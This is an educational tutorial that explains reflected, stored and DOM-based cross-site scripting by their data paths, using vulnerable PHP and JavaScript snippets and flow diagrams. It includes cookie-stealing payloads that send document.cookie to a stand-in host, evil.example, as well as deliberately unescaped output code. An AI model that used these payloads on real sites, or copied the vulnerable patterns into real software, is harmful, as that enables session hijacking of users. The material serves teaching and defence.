1

Concept

Classification of XSS

The three types of XSS β€” Reflected, Stored, and DOM-based β€” are not classified by the actual JavaScript payload.

They are classified by how the untrusted data travels through the application before it executes.

1. Reflected XSS:

The malicious input:

Attacker β†’ Server β†’ Immediate response β†’ Browser

The input is reflected back in the same request/response.

Example: A search parameter is immediately displayed on the search results page.

2. Stored XSS:

The malicious input:

Attacker β†’ Server β†’ Database β†’ Later response β†’ Browser

The application stores the malicious input and displays it later.

Example: A malicious comment is stored in the database and executes whenever someone views the comment.

3. DOM-based XSS

The malicious input:

Attacker β†’ Browser β†’ JavaScript β†’ DOM

The server doesn't need to process the malicious input. JavaScript already running in the browser takes untrusted data and inserts it into the page unsafely.

Example: Client-side JavaScript reads a value from the URL fragment and writes it into the page.

2

Vulnerability

Reflected XSS

⚠️

Vulnerability

In reflected XSS, the malicious payload is part of the request itself and is immediately included in the application's response. Nothing needs to be stored permanently.

A classic vulnerable search page might look like this:

// search.php
echo "You searched for: " . $_GET['q'];

The application takes whatever value appears in the q parameter and inserts it directly into the HTML response.

An attacker can therefore construct a request containing malicious input:

https://example.com/search.php?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>

If the application reflects that value into the page without appropriate output encoding, visiting the URL causes the browser to interpret the injected content as part of the page.

Attacker crafts a URL containing malicious input
        ↓
Victim visits the URL
        ↓
Application reads the value from the request
        ↓
Application reflects it directly into the response
        ↓
Browser interprets the injected content
        ↓
 Attacker-controlled script executes

Because the payload exists only in the request, reflected XSS requires a delivery mechanism.

The attacker typically needs to get the victim to:

  • Click a crafted link.

  • Submit a crafted form.

  • Visit a page that automatically triggers the vulnerable request.

Attacker creates malicious request
        ↓
Payload exists only in that request
        ↓
Attacker must get the victim to make it
        ↓
Phishing link
        OR
Malicious page or redirect
        OR
Auto-submitted request
        ↓
Victim reaches the vulnerable application
        ↓
Payload is reflected
        ↓
Script executes

This is the key distinction from stored XSS.

With stored XSS, the attacker places the payload somewhere the application saves it, allowing later visitors to encounter it through ordinary use of the application.

With reflected XSS, the payload is not waiting on the server for someone to stumble across. The attacker must generally cause the victim to make the specific request containing the malicious input.

In short:

Stored XSS: Store the payload β†’ wait for victims to load it.

Reflected XSS: Craft the payload into a request β†’ get the victim to make that request.

3

Vulnerability

Stored XSS

⚠️

Vulnerability

In Stored XSS, the malicious payload is saved somewhere persistent such as a database, file, CMS record, profile field, or comment and is later served to other users as part of normal application content.

Unlike reflected XSS, there is no need to craft a separate malicious link for every victim.

A vulnerable comment system might work like this:

// Vulnerable: raw comment is stored,
// then later inserted into the page without appropriate encoding.

Comment::create(['body' => $request->input('body')]);

// ...later, on the page that lists comments...

echo $comment->body;

An attacker submits a comment containing malicious markup:

<img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">

The application stores that value. Later, when another user views the comment thread, the application retrieves the stored content and inserts it into the page.

Attacker submits malicious content
        ↓
Application stores the payload
        ↓
Nothing else is required from the attacker
        ↓
A victim later visits the affected page
        ↓
Application retrieves the stored content
        ↓
Payload is inserted into the page
        ↓
 Attacker-controlled script executes

Every user who later views the affected content may trigger the payload.

That can include ordinary users, support staff, moderators, or administrators.

Attacker posts payload once
        ↓
User A views the content       β†’ Script executes
User B views the content       β†’ Script executes
Moderator views the content    β†’ Script executes
Administrator views the content β†’ Script executes
        ↓
One stored payload can affect multiple victims over time

This is what makes stored XSS particularly dangerous.

The attacker does not need to individually convince each victim to click a crafted link. Once the malicious content has been successfully stored, the application's normal behavior delivers it to whoever later views the affected page.

An administrator or moderator can be an especially high-value target because their authenticated session may have access to sensitive functionality that ordinary users cannot reach. However, the fundamental problem is broader than session theft: any user who loads the vulnerable content is executing attacker-controlled code within the application's origin and with whatever authority their browser session provides.

The distinction from reflected XSS is therefore primarily about persistence and delivery:

Reflected XSS:

Attacker crafts malicious request
        ↓
Must convince victim to make that request
        ↓
Payload is reflected immediately
        ↓
Script executes for that victim

Stored XSS:

Attacker submits malicious content once
        ↓
Application stores it
        ↓
Victims encounter it through normal use of the application
        ↓
Script executes whenever vulnerable content is loaded

The underlying vulnerability is the same in both cases: untrusted data reaches an executable browser context without the appropriate context-specific handling.

4

Vulnerability

DOM-Based XSS

⚠️

Vulnerability

DOM-based XSS occurs entirely within client-side code.

Instead of the server receiving malicious input and reflecting or storing it in an HTTP response, the browser's own JavaScript takes attacker-influenced data from a client-side source and passes it into a dangerous sink without applying the appropriate context-specific handling.

Common sources include values the browser exposes to JavaScript, such as:

  • location.hash

  • location.search

  • document.referrer

  • window.name

  • data received through browser messaging APIs or other client-side mechanisms

Dangerous sinks include APIs that parse attacker-controlled data as HTML or execute it as code, such as:

  • innerHTML

  • outerHTML

  • insertAdjacentHTML()

  • eval()

A simple vulnerable example:

// Vulnerable client-side code

const name = location.hash.substring(1);

// Example attacker-controlled value:
// #<img src=x onerror=alert(document.cookie)>

document.getElementById('greeting').innerHTML = 'Hello, ' + name;

An attacker can construct a URL such as:

https://example.com/page#<img src=x onerror=alert(document.cookie)>

The important difference is what happens to the data.

Attacker controls the URL fragment
        ↓
Victim opens the URL
        ↓
Browser loads: https://example.com/page
        ↓
The fragment after # is NOT sent in the HTTP request
        ↓
Client-side JavaScript reads: location.hash
        ↓
Attacker-controlled data flows into: innerHTML
        ↓
 Browser interprets the injected content

The critical detail is that the URL fragmentβ€”everything after #β€”is not sent to the server as part of the HTTP request.

The server may therefore receive a request that appears completely harmless:

GET /page HTTP/1.1
Host: example.com

while the victim's browser is actually processing:

#<img src=x onerror=alert(document.cookie)>

entirely on the client side.

This has important implications for detection.

If the attacker-controlled value exists only in the fragment, server-side request logging cannot record that value because the browser never sends it. Likewise, a server-side WAF or input-validation layer cannot inspect or sanitize data that never reaches the server in the first place.

Attacker-controlled fragment
        ↓
Not sent to server
        β”œβ”€β”€ Server logs cannot see it
        β”œβ”€β”€ Server-side validation cannot process it
        └── Server-side filtering cannot directly remove it
        ↓
Browser JavaScript receives it
        ↓
Potentially dangerous source β†’ sink flow

That does not mean every DOM-based XSS vulnerability is invisible to every server-side defense. Some DOM XSS sources, such as query parameters, may originate in data that does pass through the server before becoming available to client-side code.

The important point is more precise:

A DOM-based XSS vulnerability can exist entirely in the browser, and when the attacker-controlled input never reaches the server as with location.hash server-side controls cannot inspect that input at all.

Finding these vulnerabilities therefore requires examining the client-side application itself.

The key question is:

Can attacker-influenced data flow from a browser-controlled source into a dangerous sink?

SOURCE

location.hash
document.referrer
window.name
URL parameters
postMessage data
other attacker-influenced input
        ↓
Client-side JavaScript
        ↓
SINK

innerHTML
outerHTML
insertAdjacentHTML()
eval()
or another dangerous browser API
        ↓
 Potential DOM-based XSS

This is what distinguishes DOM-based XSS from the other two major categories.

Reflected XSS:

Attacker input
        ↓
Sent to server
        ↓
Server reflects it into the response
        ↓
Browser executes it

Stored XSS:

Attacker input
        ↓
Server stores it
        ↓
Later included in a response
        ↓
Browser executes it

DOM-Based XSS:

Attacker-controlled data
        ↓
Client-side JavaScript reads it
        ↓
JavaScript inserts it into a dangerous sink
        ↓
Browser executes or interprets it

The vulnerability is still fundamentally about the same thing: untrusted data reaching an executable browser context without appropriate handling.

5

Explanation

Comparing XSS Types

Reflected XSS requires the attacker to get a crafted link in front of a specific victim each time no persistence, one target per delivered link.

Stored XSS is delivered once and then affects every subsequent visitor automatically, making it the most severe in typical impact even though it's often harder to find.

DOM-based XSS is the odd one out structurally it never involves the server at all, which means it's invisible to server-side defenses and has to be tested and fixed by examining JavaScript directly.

All three can ultimately deliver the same kind of impact what differs is where the flaw actually lives and how a tester has to go about finding it.

6

Summary

Key Takeaways

Summary

The three XSS types differ by data path, not by payload: reflected round-trips in a single request with no storage and needs a delivered link per victim, stored persists once and silently affects every later visitor, DOM-based never reaches the server, making it invisible to server-side protections and detectable only through client-side code review.